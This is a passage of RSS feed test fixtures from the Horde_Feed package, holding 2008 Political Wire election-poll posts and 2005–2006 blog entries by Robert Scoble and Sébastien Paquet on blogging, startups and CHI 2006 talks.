http://politicalwire.com/archives/2008/09/19/welch_wins_both_party_nominations_in_vermont.html 2008 Campaign Fri, 19 Sep 2008 10:36:30 -0500 http://politicalwire.com/archives/2008/09/19/welch_wins_both_party_nominations_in_vermont.html ARG Poll: McCain Ahead in Indiana Several new American Research Group polls are out this morning:<br /><br /><a href="http://americanresearchgroup.com/pres2008/IN08.html">Indiana</a>: McCain 47%, Obama 44%<br /><br />Key findings: "82% of Democrats say they would vote for Obama and 79% of Republicans say they would vote for McCain. McCain leads Obama 50% to 37% among independents. Indiana is the only state out of 30 states surveyed by ARG where McCain leads in the ballot when his share of the Republican vote is less than Obama's share of the Democratic vote. Also, 37% of likely voters say they would never vote for McCain, compared to 33% of likely voters saying they would never voter for Obama."<br /><br /><a href="http://americanresearchgroup.com/pres2008/ND08.html">North Dakota</a>: McCain 52%, Obama 43%<br /><br /><a href="http://americanresearchgroup.com/pres2008/WA08.html">Washington</a>: Obama 50%, McCain 44%<br /> <p><a href="http://feedads.googleadservices.com/~a/tuQLBlA_amTM5nxHAjcGIN9ESGA/a"><img src="http://feedads.googleadservices.com/~a/tuQLBlA_amTM5nxHAjcGIN9ESGA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/Ln4xfxTdA6I" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/Ln4xfxTdA6I/arg_poll_mccain_ahead_in_indiana.html http://politicalwire.com/archives/2008/09/19/arg_poll_mccain_ahead_in_indiana.html 2008 Campaign Fri, 19 Sep 2008 10:31:15 -0500 http://politicalwire.com/archives/2008/09/19/arg_poll_mccain_ahead_in_indiana.html Two Thirds of Households Watched Conventions <a href="http://blog.nielsen.com/nielsenwire/media_entertainment/two-thirds-of-us-households-tuned-in-to-dems-and-gops-conventions/">Nielsen</a> reviews viewership data from the national political conventions and draws several interesting conclusions:<br />&nbsp;<br /><ul><li>Nearly two thirds of all U.S. households (64.5% or 73.2 million homes) tuned into at least one of the 2008 political conventions. This is about 120.1 million people. Viewership levels for the two conventions were essentially tied, with about half of all households watching each one.</li><li>15.0% of all households tuned to just the RNC, and 15.7% tuned to just the DNC. Another 33.9% of all households tuned to both conventions.</li><li>Homes that watched both conventions were more likely to be headed by someone 65 years or older. They also completed the most formal education: nearly one-third (32.3%) graduated from college. Those watching only one convention were fairly comparable on both education and HOH age, within a point or two.</li><li>Homes that only tuned to the RNC were more likely to have higher incomes ($100K+), to have a larger household size (4+), to be white, to own a DVR, and to have a head of household with higher education (4+ yrs college) and aged 35-54.</li><li>Homes that only tuned in to the DNC were more likely to have a lower income (&lt;20K), to have a smaller household size (2), to be African American, and to have a head of household who is younger (&lt;35) and who has less education (1-3 Yrs College).</li></ul> <p><a href="http://feedads.googleadservices.com/~a/f6OCEUiMiGWvofJAczgU_KSpacI/a"><img src="http://feedads.googleadservices.com/~a/f6OCEUiMiGWvofJAczgU_KSpacI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/CaYuxlOeET8" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/CaYuxlOeET8/two_thirds_of_households_watched_conventions.html http://politicalwire.com/archives/2008/09/19/two_thirds_of_households_watched_conventions.html 2008 Campaign Fri, 19 Sep 2008 10:17:43 -0500 http://politicalwire.com/archives/2008/09/19/two_thirds_of_households_watched_conventions.html Begich Runs Ahead in Alaska Senate Race According to a new poll by <a href="http://www.dailykos.com/storyonly/2008/9/18/151020/455/154/602937">Research 2000</a>, Mark Begich (D) now leads Sen. Ted Stevens (R-AK) by 6 points, 50% to 44% in the Alaska U.S. Senate race.&nbsp; <br /><br />Begich has grown his lead since July, when he led 47% to 45% in the same poll.<br /> <p><a href="http://feedads.googleadservices.com/~a/cwcnKGoFy1tMFbENjR4v8RKfDOg/a"><img src="http://feedads.googleadservices.com/~a/cwcnKGoFy1tMFbENjR4v8RKfDOg/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/SEH8wNOYl1U" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/SEH8wNOYl1U/begich_runs_ahead_in_alaska_senate_race.html http://politicalwire.com/archives/2008/09/19/begich_runs_ahead_in_alaska_senate_race.html 2008 Campaign Fri, 19 Sep 2008 10:09:27 -0500 http://politicalwire.com/archives/2008/09/19/begich_runs_ahead_in_alaska_senate_race.html Up To $1 Trillion Needed to Prevent Meltdown "Congressional leaders said after meeting Thursday evening with Treasury Secretary Henry Paulson and Federal Reserve Chairman Ben Bernanke that as much as $1 trillion could be needed to avoid an imminent meltdown of the U.S. financial system," according to <a href="http://www.politico.com/news/stories/0908/13602.html">Politico</a>.<br /><br /> According to Sen. Christopher Dodd, lawmakers were told last night "that we're literally maybe days away from a complete meltdown of our financial system, with all the implications, here at home and globally." <p><a href="http://feedads.googleadservices.com/~a/U5ZslNxf75yPd5eQ9kxFW8mwx9A/a"><img src="http://feedads.googleadservices.com/~a/U5ZslNxf75yPd5eQ9kxFW8mwx9A/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/WF-hbKhj6TU" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/WF-hbKhj6TU/up_to_1_trillion_needed_to_prevent_meltdown.html http://politicalwire.com/archives/2008/09/19/up_to_1_trillion_needed_to_prevent_meltdown.html 2008 Campaign Fri, 19 Sep 2008 09:25:40 -0500 http://politicalwire.com/archives/2008/09/19/up_to_1_trillion_needed_to_prevent_meltdown.html Strategic Vision: Tight Races in New Jersey, Washington Two new Strategic Vision poll shows a couple of typically Democratic states much closer than expected.<br /><br /><a href="http://www.strategicvision.biz/political/newjersey_poll_091908.htm">New Jersey</a>: Obama 47%, McCain 43%<br /><br /><a href="http://www.strategicvision.biz/political/washington_poll_091908.htm">Washington</a>: Obama 47%, McCain 42%<br /> <p><a href="http://feedads.googleadservices.com/~a/N56F82XpUllP1Ub9YT_TmbW2gFE/a"><img src="http://feedads.googleadservices.com/~a/N56F82XpUllP1Ub9YT_TmbW2gFE/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/ABRdqgzOZkc" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/ABRdqgzOZkc/strategic_vision_tight_races_in_new_jersey_washington.html http://politicalwire.com/archives/2008/09/19/strategic_vision_tight_races_in_new_jersey_washington.html 2008 Campaign Fri, 19 Sep 2008 09:18:33 -0500 http://politicalwire.com/archives/2008/09/19/strategic_vision_tight_races_in_new_jersey_washington.html Quote of the Day "It's hard to prepare because I don't know what she thinks."<br /><br />-- Sen. Joe Biden, in an interview to air on CBS News tonight, on how he's getting ready to debate Gov. Sarah Palin next month.<br /> <p><a href="http://feedads.googleadservices.com/~a/c1pq9_W2Tji-xHDPGY5_QF_s4Mk/a"><img src="http://feedads.googleadservices.com/~a/c1pq9_W2Tji-xHDPGY5_QF_s4Mk/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/4lTytwmAlGk" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/4lTytwmAlGk/quote_of_the_day.html http://politicalwire.com/archives/2008/09/19/quote_of_the_day.html Fri, 19 Sep 2008 09:14:26 -0500 http://politicalwire.com/archives/2008/09/19/quote_of_the_day.html IA Poll: Obama Leads in Colorado, McCain Ahead in Virginia A couple of interesting new InsiderAdvantage polls in key battleground states are out this morning:<br /><br /><a href="http://www.realclearpolitics.com/RCP_PDF/IA_Colorado_Poll91808.pdf">Colorado</a>: Obama 51%, McCain 41%<br /><br /><a href="http://www.realclearpolitics.com/RCP_PDF/IA_VirginiaPoll_91808.pdf">Virginia</a>: McCain 48%, Obama 46%<br /> <p><a href="http://feedads.googleadservices.com/~a/AbeMuOl4Pm4d4N7fj9WRRZMIVDM/a"><img src="http://feedads.googleadservices.com/~a/AbeMuOl4Pm4d4N7fj9WRRZMIVDM/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/WQ53q2Pd4Ms" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/WQ53q2Pd4Ms/ia_poll_obama_leads_in_colorado_mccain_ahead_in_virginia.html http://politicalwire.com/archives/2008/09/19/ia_poll_obama_leads_in_colorado_mccain_ahead_in_virginia.html 2008 Campaign Fri, 19 Sep 2008 09:11:20 -0500 http://politicalwire.com/archives/2008/09/19/ia_poll_obama_leads_in_colorado_mccain_ahead_in_virginia.html Obama Pounds McCain on Economy Sen. Barack Obama hammers Sen. John McCain in a very effective <a href="http://my.barackobama.com/page/content/whoadvises_ad/">new ad</a> on the economy. <br /><br />Featured cast: Carly Fiorina, Phil Gramm and George Bush. <p><a href="http://feedads.googleadservices.com/~a/KfzeqdXYmgSirB71tNF9N9WceO0/a"><img src="http://feedads.googleadservices.com/~a/KfzeqdXYmgSirB71tNF9N9WceO0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/eCSdfqh6otE" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/eCSdfqh6otE/obama_pounds_mccain_on_economy.html http://politicalwire.com/archives/2008/09/18/obama_pounds_mccain_on_economy.html 2008 Campaign Thu, 18 Sep 2008 22:10:37 -0500 http://politicalwire.com/archives/2008/09/18/obama_pounds_mccain_on_economy.html Portland Tribune: Obama Holds Double Digit Lead in Oregon A new <a href="http://www.portlandtribune.com/news/story.php?story_id=122168669575618300">Portland Tribune poll</a> in Oregon finds Sen Barack Obama leads Sen. John McCain, 50% to 40% among registered voters. <br /><br />Obama retains equally strong support among male and female voters.<br /><br />Said pollster Tim Hibbitts: "I do not believe that Oregon is going to be a battleground state this year." <p><a href="http://feedads.googleadservices.com/~a/vzJ1f31OIhercN0z2CQ20zwErNg/a"><img src="http://feedads.googleadservices.com/~a/vzJ1f31OIhercN0z2CQ20zwErNg/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/TmsAAAky54k" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/TmsAAAky54k/portland_tribune_obama_holds_double_digit_lead_in_oregon.html http://politicalwire.com/archives/2008/09/18/portland_tribune_obama_holds_double_digit_lead_in_oregon.html 2008 Campaign Thu, 18 Sep 2008 21:42:54 -0500 http://politicalwire.com/archives/2008/09/18/portland_tribune_obama_holds_double_digit_lead_in_oregon.html Young Wins Nomination for Alaska House Seat "More than two weeks after the Aug. 26th primary, Republican Rep. Don Young officially clinched his party's nomination for Alaska's lone House seat Thursday when his major primary opponent, Lieutenant Gov. Sean Parnell, conceded the race," <a href="http://www.cqpolitics.com/wmspage.cfm?docID=news-000002954425">CQ Politics</a> reports. <p><a href="http://feedads.googleadservices.com/~a/Kqjm1RKJq7PMDSYE5A7KCqOhH3k/a"><img src="http://feedads.googleadservices.com/~a/Kqjm1RKJq7PMDSYE5A7KCqOhH3k/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/PdaHlXEoZtE" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/PdaHlXEoZtE/young_wins_nomination_for_alaska_house_seat.html http://politicalwire.com/archives/2008/09/18/young_wins_nomination_for_alaska_house_seat.html 2008 Campaign Thu, 18 Sep 2008 16:14:28 -0500 http://politicalwire.com/archives/2008/09/18/young_wins_nomination_for_alaska_house_seat.html Big Ten Battleground: Very Tight Race in Midwestern States According to the new <a href="http://www.bigtenpoll.org/">Big Ten Battleground Poll</a>, Sen. John McCain and Sen. Barack Obama "were in a statistical dead heat in seven of the eight Midwest states included in the survey." <br /><br /><a href="http://www.bigtenpoll.org/results0809/illinois.html">Illinois</a>: Obama 52.9%, McCain 37.0%<br /><br /><a href="http://www.bigtenpoll.org/results0809/indiana.html">Indiana</a>: McCain 46.7%, Obama 43.2%<br /><br /><a href="http://www.bigtenpoll.org/results0809/iowa.html">Iowa</a>: McCain 44.8%, Obama 44.8%<br /><br /><a href="http://www.bigtenpoll.org/results0809/michigan.html">Michigan</a>: Obama 47.8%, McCain 43.8%<br /><br /><a href="http://www.bigtenpoll.org/results0809/minnesota.html">Minnesota</a>: Obama 47.3%, McCain 44.5%<br /><br /><a href="http://www.bigtenpoll.org/results0809/ohio.html">Ohio</a>: Obama 45.6%, McCain 45.1%<br /><br /><a href="http://www.bigtenpoll.org/results0809/pennsylvania.html">Pennsylvania</a>: Obama 45.0%, McCain 44.6%<br /><br /><a href="http://www.bigtenpoll.org/results0809/wisconsin.html">Wisconsin</a>: Obama 45.2%, McCain 44.3%<br /><br />Said pollster Charles Franklin: "The close margins in the vast majority of states show that whatever the effects were immediately after the national party conventions, these states have moved back to a highly competitive status, with neither candidate having a clear lead, except in Illinois."<br /> <p><a href="http://feedads.googleadservices.com/~a/tlpQVp6rIkjheCodIMGEwY3-1CI/a"><img src="http://feedads.googleadservices.com/~a/tlpQVp6rIkjheCodIMGEwY3-1CI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/bBgiL0R2Csw" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/bBgiL0R2Csw/big_ten_battleground_very_tight_race_in_midwestern_states.html http://politicalwire.com/archives/2008/09/18/big_ten_battleground_very_tight_race_in_midwestern_states.html 2008 Campaign Thu, 18 Sep 2008 15:27:29 -0500 http://politicalwire.com/archives/2008/09/18/big_ten_battleground_very_tight_race_in_midwestern_states.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-radio.weblogs.com-0001011-rss.xml0000664000175000017500000000766412653701626026447 0ustar janjan Scobleizer: Microsoft Geek Blogger http://radio.weblogs.com/0001011/ Robert Scoble's look at geek and Microsoft life. en-us Copyright 2005 Robert Scoble Sun, 27 Nov 2005 13:47:29 GMT http://backend.userland.com/rss Radio UserLand v8.2.1 robertscoble@hotmail.com robertscoble@hotmail.com rssUpdates 4 5 3 6 15 13 18 19 60 PLEASE SUBSCRIBE TO MY NEW BLOG http://radio.weblogs.com/0001011/2005/11/27.html#a11433 <p>Hello, we know you're still subscribed to this blog (9,000 of you are on Bloglines, for instance). So, please unsubscribe from this blog and come over and visit me in my new home at <a href="http://scobleizer.wordpress.com/">http://scobleizer.wordpress.com/</a></p> <p>My new RSS feed is here: <a href="http://scobleizer.wordpress.com/feed/">http://scobleizer.wordpress.com/feed/</a></p> <p>I have permanently moved over there, so please do come and visit!</p> http://radio.weblogs.com/0001011/2005/11/27.html#a11433 Sun, 27 Nov 2005 13:44:16 GMT http://scoblecomments2.scripting.com/comments?u=1011&amp;p=11433&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0001011%2F2005%2F11%2F27.html%23a11433 Come visit me on my new WordPress blog http://radio.weblogs.com/0001011/2005/10/15.html#a11432 <p>I should have been clearer. My new blog is over on WordPress's new hosted service, which is still in beta. I've been posting frequently over there. <a href="http://scobleizer.wordpress.com/">http://scobleizer.wordpress.com/</a></p> <p>I'm still playing around, though, and learning the new system. I'm also setting up a separate blog over on TypePad to learn that blog tool. And have yet another one over on DABU too.</p> <p>Oh, and of course, there's <a href="http://www.nakedconversations.com">our book blog</a> (which is also on TypePad) and the Channel 9 video blog, done on modified version of Community Server. So, I'm getting around to a variety of blog tools and services. I find I don't like a lot about all the tools. It's interesting to me that no one has really come out with a big blog breakthrough lately.</p> <p>I'm getting another demo of Flock tomorrow, too.</p> <p>Oh, and ou might check in on <a href="http://channel9.msdn.com">Channel 9</a>. I just uploaded three videos, including my first Xbox 360 one, an interview with a Vice President in charge of half of our developer division (we're shipping Visual Studio "within days" I hear).</p> http://radio.weblogs.com/0001011/2005/10/15.html#a11432 Sat, 15 Oct 2005 03:38:05 GMT http://scoblecomments2.scripting.com/comments?u=1011&amp;p=11432&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0001011%2F2005%2F10%2F15.html%23a11432 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-radio.weblogs.com-0110772-rss.xml0000664000175000017500000016006312653701626026457 0ustar janjan Seb's Open Research http://radio.weblogs.com/0110772/ Pointers and thoughts on the evolution of knowledge sharing <br>and social software, collected by S&#233;bastien Paquet en-ca Copyright 2006 Sebastien Paquet Thu, 26 Oct 2006 15:09:48 GMT http://backend.userland.com/rss Radio UserLand v8.2.1 paquetse@iro.umontreal.ca paquetse@iro.umontreal.ca rssUpdates 3 4 2 1 18 17 5 0 60 Zombie Seb gets Lemeurized http://radio.weblogs.com/0110772/2006/10/26.html#a1763 I gave an interview to <a href="http://www.loiclemeur.com/france/">Lo&iuml;c Le Meur</a> right after Webcom Montreal. I know it had been a long day, but still it doesn't explain why my eyeballs are largely missing from that <a href="http://www.loiclemeur.com/france/2006/10/295_sbastien_pa.html">video podcast</a>. We talked about my experience as part of a <a href="http://socialtext.com">distributed company</a>. Listen and see how well you can handle spoken evil dead Canadian French!<br><br><a href="http://loiclemeur.podemus.com/multipod2/Video/marioasselin.mp4?stats=loiclemeur">Lo&iuml;c also interviewed Quebec edublogger Mario Asselin that day.</a> <a href="http://carnets.opossum.ca/mario/">Mario</a> eloquently explained how he's been deploying (and helping deploy) blogs in schools, and what blogs in schools mean for parents, teachers and students. Don't miss this one!<br> http://radio.weblogs.com/0110772/2006/10/26.html#a1763 Thu, 26 Oct 2006 14:54:38 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1763&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F10%2F26.html%23a1763 Austin Hill: Chasing Billions with Zero Knowledge http://radio.weblogs.com/0110772/2006/10/26.html#a1762 <span style="font-style: italic;">Zero-Knowledge Systems is a Montreal-based company that went through the dotcom boom and bust, and rebounded as Radialpoint. ZKS cofounder <a href="http://www.billionswithzeroknowledge.com/">Austin Hill (who just started blogging - welcome, Austin!!)</a> gave a 15-minute presentation at <a href="http://barcamp.org/BarCampMontreal_en">BarCamp Montreal</a> on Saturday. This is my impressionistic transcript of his talk.</span><br><br>This is normally a much longer talk. I was one of the cofounders of ZKS. I want to talk about entrepreneurialism. <br><br>On my title's meaning. Not "chasing while clueless". It's that you just don't know how it will end up. It's really about finding jobs you love.<br><br>People chase their dreams for various reasons. The guy who invented microfinance did not do it to get rich. <br><br>I've been doing startups since I was 13, <span style="font-style: italic;">(quickly enumerates) </span>total.net.... <br><br>Around 1997 I got into privacy. I had a passion for cryptography, info security, the internet was becoming very popular for normal people. My brother, father and I started this enterprise, ZKS. The vision was empowering people to control their information. It wasn't about attacking cookies. We had a vision for remaking the internet. In the Wayback machine you can see our old mission statements. Funny, I don't remember writing this. <br><br>We wanted to make it absolutely easy for people to go online and keep their privacy. There was a lot of very complicated stuff behind the scenes. <br><br>Now. You have a big dream. You may think VCs are living in treehouses, throwing money out the window. I have learned how VC works. I researched everything, and sent out all these faxes.<br><br>An important thing is to set your sights well. We were thinking very very big. Spreading our vision, with a lot of passion and evangelism, which helped drive our early success. <br><br>Fundraising. 1M seed from angels, 5M from California VCs in '98, including the cofounder of inktomi. Series A 25M Yorkton in '99, Series B (30?)M in '01.<br><br>The thing is, we did not need to raise money. But money <span style="font-style: italic;">was </span>falling from the trees. People were desperately trying to give us money. We came up with a structure which was a coupon that said, you can give this to us now, you get money when we go IPO.<br><br>You want to stage your investments. You don't want to raise your money at a high valuation with a dumb investor early on. <br><br>We had an order for about 100M US, we only needed 10M. If you get money, you now have pressure to grow. We grew from 50 to 200 people. Has anybody heard of our hiring tactics. <br><br><span style="font-style: italic;">(audience member):</span> I remember a ZKS-branded "We're Hiring" truck that would go and park right in front of other software companies' offices.<br><br>There was a CEO in town, she tried to block email to ZKS. But her employees emailed us that night from home.<br><br> Then we raised 22M as a Series C. All told we raised 80M$. US dollars.<br><br>Thankfully we didn't put it all into stupid things. We diversified. We had this grand vision that we were to protect all the world's privacy.<br><br>There are lots of types of money men. The believers. They're enthusiastic. Finding the right ones is critical. They can bring a lot to your company. The people who bring underwriting. A company went public too quick. They should have raised the 1M$ privately. A team of good VCs can be an ally. Then the gangster types, who want to take control of your company. <br><br>Now. Rule #1 of startups. Bad Shit Happens. For us that was, the VC industry changed. [... ] You end up having to analyze your company to figure out what works. When you're big you can't iterate quickly. You talk about turning off entire business units. There's the edifice complex. When you walk into a new building, a lot of people feel like they've made it. There's the ghost effect when downsizing. For employees, this is bad for morale - the person they made come in all of a sudden has lost their jobs. <br><br>Check your motives. If you're in this for the money, then go find another industry. When the shit hits the fan, there are easier ways. Starting a company is because there's no other way to chase your dream. <br><br>Startups are a team sport. This is not swimming. Pick your team members very carefully. What really saved our company is we recruited really great people. Able to adapt and change.<br><br>Develop double vision. Some people are visionary, telescopic. You need microscopic vision, too, small steps. <br><br>Here's a common problem. Obvious things you don't see. For instance, <a href="http://viscog.beckman.uiuc.edu/grafs/demos/15.html">watch this and count the number of times that a basketball is passed.</a> How many? Now watch again. You're never sure what to focus on. As it turned out, we built an entire encryption infrastructure that could be bypassed by a couple lines of Javascript code. <br><br>More advice. Avoid undisciplined growth. Find mentors and coaches. <br><br>I'm very proud of the team we built at ZKS. My interests gradually went into community, venture philanthropy. <a href="http://www.project-ojibwe.org/">Project Ojibwe</a> is in stealth/ninja mode right now. It's about how we get people to aggregate with people... [short, fuzzy explanation] <br><br> <br> http://radio.weblogs.com/0110772/2006/10/26.html#a1762 Thu, 26 Oct 2006 14:31:58 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1762&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F10%2F26.html%23a1762 30 http://radio.weblogs.com/0110772/2006/10/01.html#a1761 Turning thirty. Time to get serious!<br> http://radio.weblogs.com/0110772/2006/10/01.html#a1761 Mon, 02 Oct 2006 02:50:08 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1761&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F10%2F01.html%23a1761 International workshop on wiki-based knowledge engineering http://radio.weblogs.com/0110772/2006/07/03.html#a1760 (So maybe my 2001-2002 <a href="http://sebthesis.notlong.com">dissertation</a> <a href="http://www.iro.umontreal.ca/%7Epaquetse/paquet-onto-interdisc-comm-1.pdf">work</a> was going in a promising direction after all...)<br><br><a href="http://wibke2006.semwiki.org/">Wiki-based knowledge engineering workshop 2006</a> - topics of interest:<br><br>* Methods employing the Wiki Way in knowledge engineering<br>* Concepts and strategies for integrating domain experts&nbsp; and end users into the knowledge engineering process,<br>* Methods for automatic, Wiki-based knowledge elicitation&nbsp; from collaborative environments,<br>* Methods for supporting the creation of structured and&nbsp; (partially) formalised personal knowledge bases<br>* Policies, authentication and trust within agile collaborative knowledge engineering scenarios,<br>* Strategies and methods joining Web 2.0, Wiki and Semantic Web technologies for knowledge management purposes<br>* Semantic Wiki tools supporting semantic collaboration<br>* Semantic Wiki tools supporting personal knowledge management<br>* Wiki-driven applications enabling massively distributed knowledge elicitation,<br>* Requirements and use-cases for Web-scaled collaborative knowledge engineering in relation to Wiki technologies<br>* Applications of Semantic Wikis, e.g. in Bio-Medicine, Business, Software-Engineering<br>* Experience reports, best practices and guidelines in the aforementioned areas<br> http://radio.weblogs.com/0110772/2006/07/03.html#a1760 Mon, 03 Jul 2006 17:25:18 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1760&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F07%2F03.html%23a1760 CHI 2006: Using Intelligent Task Routing and Contribution Review to Help Communities Build Artifacts of Lasting Value http://radio.weblogs.com/0110772/2006/04/27.html#a1759 <a href="http://www-users.cs.umn.edu/%7Ecosley/">Dan Cosley</a> <span style="font-style: italic;">(I think): </span><br style="font-style: italic;"><br style="font-style: italic;">Here are the takeaways I hope you will get from my talk: <br><ol><li>Artifacts of lasting value matter.</li><li>Designing for contribution is interesting.</li><li>Modeling value over time is useful.</li><li>Intelligent task routing works. </li></ol><p>Communities like IMDB, RateYourMusic (35,000 people), and Wikipedia are building collective artifacts of lasting value. But not all communities succeed. Nupedia, how many smaller groups have faltered. Grouplens is kinda failing because everyone is using a different format. </p><p> Often, one enthusiastic guy does all this work of setting up the system, inviting users, maintaining, etc. You know, like Chad adds all the movies in MovieLens. <br></p><p>But you ideally want many people to do work. The virtues of the many: Scale (SlashDot), Speed (Wikipedia repairs &lt; 3min), Robustness. </p><p> But... users say, "I don't want to <span style="font-style: italic;">add </span>movies, I want them to be there for me." </p><p> CommunityLab is researchers from CMU, UMich and UMinn. We contribute theory insights and design ideas.<br> </p><p> I want to talk about creating value in a specific community, the MovieLens community. When we started this project we had 8800 movies x 8 fields = 70,000 fields to fill, 23,000 of which were empty. <br></p><p>How to do it? Part I of my talk is about <span style="font-weight: bold;">contribution reviews</span>. We know that editing improves quality. Very often, in an editing process, you don't see the internals. You don't see how the sausage is made - it's pre-publication review. Wiki-like processes let people publish right away. We wondered which of those models (let people provide information and add a reviewing step, or not) would help the fields fill up faster. We tested it empirically.<br> </p><p> As it turns out, wiki-like beats pre-publication review short term, and in both cases contributions taper over time. In the wiki model, quality hits an equilibrium, a steady state where the good elements and bad elements balance each other. Our model says that in the long run, it actually doesn't matter if review is pre- or post-publication - you reach the same state. </p><p>Part II of my talk is about <span style="font-weight: bold;">intelligent task routing. </span>How do people find tasks to perform in the system? Randomly (e.g. Slashdot metamoderation), chronologically, alphabetically? These kinda suck. </p><p>You want to help people find work they want to do. People often work on their interests - match people with tasks they'll like. Karay &amp; Williams' collective effort model deals with social loafing. They posit that people decide whether to contribute according to how much it benefits them, the group, and whether the contribution matters to the group. </p><p>We assigned people to four groups; in each group people were given tasks according to different algorithms. We found that four times as many contributions were made into MovieLens if we asked them to <span style="font-style: italic;">fill in information about movies they were among the few to have seen. </span>"This Needs Work" did not work so well as a motivator in terms of number of movies, but if you count the fields filled it's pretty good. </p><p>Based on this work I made SuggestBot, which suggests Wikipedia articles you might like to edit, and is intended to optimize participant contributions. </p> <p> Q. (Alain D&eacute;silets, NRC) You asked people to edit movies they had not seen? <br></p><p>A. Yes, 3 of the 4 groups didn't depend on whether they had seen the movie.<br></p>Q. (me) So your model predicted that eventually the good slows down and the bad balances it out - does that mean that eventually there are effectively no contributions being made to the system? Do you assume that the amount of uncharted territory is constant?<br><br>A. <span style="font-style: italic;">(The answers confused me. I think Dan basically said "yes, sorta" to both questions.)</span><br><p></p> http://radio.weblogs.com/0110772/2006/04/27.html#a1759 Thu, 27 Apr 2006 21:14:16 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1759&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F27.html%23a1759 CHI 2006: Phases of Use: A Means to Identify Factors that Influence Product Utilization http://radio.weblogs.com/0110772/2006/04/26.html#a1758 <span style="font-style: italic;">Edward Bosma: </span>My company, Oc&eacute;, is a kind of Xerox for the Netherlands. We have &gt;24,000 employees in 80 countries. <p> At Oc&eacute; we know how to design for use (fit to the task, make it easy to learn and efficient to use)... but this does not guarantee product success. <br>Sometimes the product is not installed correctly, does not fit with how people work, etc.<br> </p><p> How do we design, not for use, but for experience? </p><p> We see experience with a product as a process. Identifying phases in this process can help to understand experience. We identified these phases, partly based on communication science and experience: </p><ol><li> <span style="font-weight: bold;">Exposure: </span>The product becomes available and fully operational. <br></li><li><span style="font-weight: bold;">Awareness: </span>user gets first impression.</li><li><span style="font-weight: bold;">Motivation: </span>user finds a reason to learn more.</li><li><span style="font-weight: bold;">Orientation:</span> user is getting to know how it works.</li><li><span style="font-weight: bold;">Adoption: </span>user applies the product in real life. <br></li><li><span style="font-weight: bold;">Incorporation: </span>use of the product becomes part of normal behaviour. </li></ol><p>We looked at our past mistakes. We postulated that all preceding phases must be passed successfully to reach a given phase. </p><p> Design for exposure: ensure your product will become available and fully operational for the intended users. When we introduced a digital multifunction unit that would print as well as copy but looked almost identical to the analog, copy-only unit, we realized that people were still printing on the inferior, small desktop printer. We did a redesign that made people more aware of the product's affordances. </p><p> Design for motivation: seduce intended users. Think about how a product can address current problems, basic human needs. </p><p> Design for orientation: We threw in a tutorial and some small tests for better retention. </p><p> Design for adoption: make users apply the product in their real-life situation. What can withhold them from doing so? We must raise trust and confidence that everything will go right, at each step along the way. For this printer <span style="font-style: italic;">(shows behemoth piece of machinery) </span>we implemented an initial phase in which the machine will only print the next job when the operator confirms that the previous job was successful. </p><p> Design for incorporation: build a long-term relationship between product and user. </p><p> Q. How do you balance ease of learning with efficiency? Have you considered having different interfaces for different users? What about the idea of having a barcode that I can use to reinstate settings I use often. </p><p> A. Requirements may conflict; our paper says you have to strike a balance among all. </p><p> Comment. Alan Cooper suggested a sliding panel. I'd love to see a copier that has something like that - a fat copy button and a panel that hides/reveals the complexity. </p><p> Comment. (Xerox guy). Do you have a product planning department? My observation has been that sometimes it's a battle between the usability guys and the marketing folks who want the new features. </p><p> Q. How do you measure adoption rates for this kind of product? </p><p> A. We have no quantitative data. This is based on field experience, sitting down with customers. </p><p> Q. In your scenario, probably the buyers are different from the users. </p><p> A. Good question. We focus on the end users. Our goal is not that the product be sold, it's that it be used properly. </p><p> Thank you.</p><p></p><hr><p></p><span style="font-style: italic;">Looks like a quite sensible model, will be helpful in structuring my thinking about the process of adoption.</span><br> http://radio.weblogs.com/0110772/2006/04/26.html#a1758 Wed, 26 Apr 2006 13:13:40 GMT http://radiocomments.userland.com/comments?u=110772&amp;p=1758&amp;link=http%3A%2F%2Fradio.weblogs.com%2F0110772%2F2006%2F04%2F26.html%23a1758 CHI 2006: Games & Performance session http://radio.weblogs.com/0110772/2006/04/25.html#a1757 <a href="http://www.parc.xerox.com/research/publications/files/5599.pdf">Alone Together? Exploring the Social Dynamics of Massively 